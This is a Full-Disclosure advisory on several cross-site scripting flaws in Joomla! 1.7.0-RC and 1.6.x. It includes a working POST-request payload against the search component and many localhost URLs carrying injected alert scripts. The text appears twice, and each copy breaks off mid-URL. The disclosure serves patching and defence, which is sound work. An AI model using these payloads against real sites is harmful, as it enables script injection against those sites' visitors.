[Full-disclosure] Joomla! 1.7.0-RC and lower | Multiple Cross Site Scripting (XSS) Vulnerabilities
Joomla! 1.7.0-RC and lower | Multiple Cross Site Scripting (XSS) Vulnerabilities 1. OVERVIEW Joomla! 1.7.0-RC and versions of 1.6.x are vulnerable to multiple Cross Site Scripting issues. 2. BACKGROUND Joomla is a free and open source content management system (CMS) for publishing content on the World Wide Web and intranets. It comprises a model–view–controller (MVC) Web application framework that can also be used independently. Joomla is written in PHP, uses object-oriented programming (OOP) techniques and software design patterns, stores data in a MySQL database, and includes features such as page caching, RSS feeds, printable versions of pages, news flashes, blogs, polls, search, and support for language internationalization. 3. VULNERABILITY DESCRIPTION Several parameters (searchword, Request URI) in Joomla! Core components are not properly sanitized upon submission to the /index.php url, which allows attacker to conduct Cross Site Scripting attack. This may allow an attacker to create a specially crafted URL that would execute arbitrary script code in a victim's browser. 4. VERSION AFFECTED 1.7.0-RC and all versions of 1.6.x 5. PROOF-OF-CONCEPT/EXPLOIT component: com_search, parameter: searchword (Browser: IE, Konqueror) = N.B. Our previous reported issue (1.6.3) of "searchword" parameter XSS was not fixed completely. [REQUEST] POST /joomla164_noseo/index.php HTTP/1.1 Host: localhost Accept: */* Accept-Language: en User-Agent: MSIE 8.0 Connection: close Referer: http://localhost/joomla164_noseo/ Content-Type: application/x-www-form-urlencoded Content-Length: 456 task=search&Itemid=435&searchword=Search';onunload=function(){x=confirm(String.fromCharCode(89,111,117,39,118,101,32,103,111,116,32,97,32,109,101,115,115,97,103,101,32,102,114,111,109,32,65,100,109,105,110,105,115,116,114,97,116,111,114,33,10,68,111,32,121,111,117,32,119,97,110,116,32,116,111,32,103,111,32,116,111,32,73,110,98,111,120,63));alert(String.fromCharCode(89,111,117,39,118,101,32,103,111,116,32,88,83,83,33));};//xsss&option=com_search [/REQUEST] XSS in Request URI File: ./includes/application.php Line: 176, 181 Code: $document->setBase(JURI::current()); // instead of $document->setBase(htmlspecialchars(JURI::current())); http://localhost/joomla164/index.php/using-joomla/extensions/components/news-feeds-component/new-feed-categories/'">alert(/XSS/) http://localhost/joomla164/index.php/using-joomla/extensions/components/content-component/article-category-list/24-joomla'">alert(/XSS/) http://localhost/joomla164/index.php/using-joomla/extensions/components/search-component/search/'">alert(/XSS/) http://localhost/joomla164/index.php/using-joomla/extensions/components/contact-component/contact-categories/'">alert(/XSS/) http://localhost/joomla164/index.php/site-map/contacts/'">alert(/XSS/) http://localhost/joomla164/index.php/component/banners/click/3'">alert(/XSS/) http://localhost/joomla164/index.php/fruit-encyclopedia/'">alert(/XSS/) http://localhost/joomla164/index.php/fruit-encyclopedia/38-a'">alert(/XSS/) http://localhost/joomla164/index.php/fruit-encyclopedia/39-b'">alert(/XSS/) http://localhost/joomla164/index.php/fruit-encyclopedia/57-t'">alert(/XSS/) http://localhost/joomla164/index.php/growers/23-happy-orange-orchard'">alert(/XSS/) http://localhost/joomla164/index.php/image-gallery/animals/25-koala'">alert(/XSS/) http://localhost/joomla164/index.php/image-gallery/scenery/64-blue-mountain-rain-forest'">alert(/XSS/) http://localhost/joomla164/index.php/image-gallery/scenery/65-ormiston-pound'">alert(/XSS/) http://localhost/joomla164/index.php/using-joomla/extensions/components/contact-component/contact-categories/34-park-site/'">alert(/XSS/) http://localhost/joomla164/index.php/using-joomla/extensions/components/contact-component/contact-categories/34-park-site/2-webmaster'">alert(/XSS/) http://localhost/joomla164/index.php/using-joomla/extensions/components/contact-component/contact-categories/35-shop-site/'">alert(/XSS/) http://localhost/joomla164/index.php/using-joomla/extensions/components/contact-component/contact-categories/35-shop-site/8-shop-address'">alert(/XSS/) http://localhost/joomla164/index.php/using-joomla/extensions/components/content-component/archived-articles/9-uncategorised'">alert(/XSS/) http://localhost/joomla164/index.php/using-joomla/extensions/components/content-component/archived-articles/9-uncategorised/'">alert(/XSS/) http://localhost/joomla164/index.php/using-joomla/extensions/components/content-component/archived-articles/9-uncategorised/67-whats-new-in-15'">alert(/XSS/) http://localhost/joomla164/index.php/using-joomla/extensions/components/content-component/article-categories/26-park-site'">alert(/XSS/) http://localhost/joomla164/index.php/using-joomla/extensions/components/content-component/article-categories/29-fruit-shop-site'">alert(/XSS/) http://loc
[Full-disclosure] Joomla! 1.7.0-RC and lower | Multiple Cross Site Scripting (XSS) Vulnerabilities
Joomla! 1.7.0-RC and lower | Multiple Cross Site Scripting (XSS) Vulnerabilities 1. OVERVIEW Joomla! 1.7.0-RC and versions of 1.6.x are vulnerable to multiple Cross Site Scripting issues. 2. BACKGROUND Joomla is a free and open source content management system (CMS) for publishing content on the World Wide Web and intranets. It comprises a model–view–controller (MVC) Web application framework that can also be used independently. Joomla is written in PHP, uses object-oriented programming (OOP) techniques and software design patterns, stores data in a MySQL database, and includes features such as page caching, RSS feeds, printable versions of pages, news flashes, blogs, polls, search, and support for language internationalization. 3. VULNERABILITY DESCRIPTION Several parameters (searchword, Request URI) in Joomla! Core components are not properly sanitized upon submission to the /index.php url, which allows attacker to conduct Cross Site Scripting attack. This may allow an attacker to create a specially crafted URL that would execute arbitrary script code in a victim's browser. 4. VERSION AFFECTED 1.7.0-RC and all versions of 1.6.x 5. PROOF-OF-CONCEPT/EXPLOIT component: com_search, parameter: searchword (Browser: IE, Konqueror) = N.B. Our previous reported issue (1.6.3) of "searchword" parameter XSS was not fixed completely. [REQUEST] POST /joomla164_noseo/index.php HTTP/1.1 Host: localhost Accept: */* Accept-Language: en User-Agent: MSIE 8.0 Connection: close Referer: http://localhost/joomla164_noseo/ Content-Type: application/x-www-form-urlencoded Content-Length: 456 task=search&Itemid=435&searchword=Search';onunload=function(){x=confirm(String.fromCharCode(89,111,117,39,118,101,32,103,111,116,32,97,32,109,101,115,115,97,103,101,32,102,114,111,109,32,65,100,109,105,110,105,115,116,114,97,116,111,114,33,10,68,111,32,121,111,117,32,119,97,110,116,32,116,111,32,103,111,32,116,111,32,73,110,98,111,120,63));alert(String.fromCharCode(89,111,117,39,118,101,32,103,111,116,32,88,83,83,33));};//xsss&option=com_search [/REQUEST] XSS in Request URI File: ./includes/application.php Line: 176, 181 Code: $document->setBase(JURI::current()); // instead of $document->setBase(htmlspecialchars(JURI::current())); http://localhost/joomla164/index.php/using-joomla/extensions/components/news-feeds-component/new-feed-categories/'">alert(/XSS/) http://localhost/joomla164/index.php/using-joomla/extensions/components/content-component/article-category-list/24-joomla'">alert(/XSS/) http://localhost/joomla164/index.php/using-joomla/extensions/components/search-component/search/'">alert(/XSS/) http://localhost/joomla164/index.php/using-joomla/extensions/components/contact-component/contact-categories/'">alert(/XSS/) http://localhost/joomla164/index.php/site-map/contacts/'">alert(/XSS/) http://localhost/joomla164/index.php/component/banners/click/3'">alert(/XSS/) http://localhost/joomla164/index.php/fruit-encyclopedia/'">alert(/XSS/) http://localhost/joomla164/index.php/fruit-encyclopedia/38-a'">alert(/XSS/) http://localhost/joomla164/index.php/fruit-encyclopedia/39-b'">alert(/XSS/) http://localhost/joomla164/index.php/fruit-encyclopedia/57-t'">alert(/XSS/) http://localhost/joomla164/index.php/growers/23-happy-orange-orchard'">alert(/XSS/) http://localhost/joomla164/index.php/image-gallery/animals/25-koala'">alert(/XSS/) http://localhost/joomla164/index.php/image-gallery/scenery/64-blue-mountain-rain-forest'">alert(/XSS/) http://localhost/joomla164/index.php/image-gallery/scenery/65-ormiston-pound'">alert(/XSS/) http://localhost/joomla164/index.php/using-joomla/extensions/components/contact-component/contact-categories/34-park-site/'">alert(/XSS/) http://localhost/joomla164/index.php/using-joomla/extensions/components/contact-component/contact-categories/34-park-site/2-webmaster'">alert(/XSS/) http://localhost/joomla164/index.php/using-joomla/extensions/components/contact-component/contact-categories/35-shop-site/'">alert(/XSS/) http://localhost/joomla164/index.php/using-joomla/extensions/components/contact-component/contact-categories/35-shop-site/8-shop-address'">alert(/XSS/) http://localhost/joomla164/index.php/using-joomla/extensions/components/content-component/archived-articles/9-uncategorised'">alert(/XSS/) http://localhost/joomla164/index.php/using-joomla/extensions/components/content-component/archived-articles/9-uncategorised/'">alert(/XSS/) http://localhost/joomla164/index.php/using-joomla/extensions/components/content-component/archived-articles/9-uncategorised/67-whats-new-in-15'">alert(/XSS/) http://localhost/joomla164/index.php/using-joomla/extensions/components/content-component/article-categories/26-park-site'">alert(/XSS/) http://localhost/joomla164/index.php/using-joomla/extensions/components/content-component/article-categories/29-fruit-shop-site'">alert(/XSS/) http://localh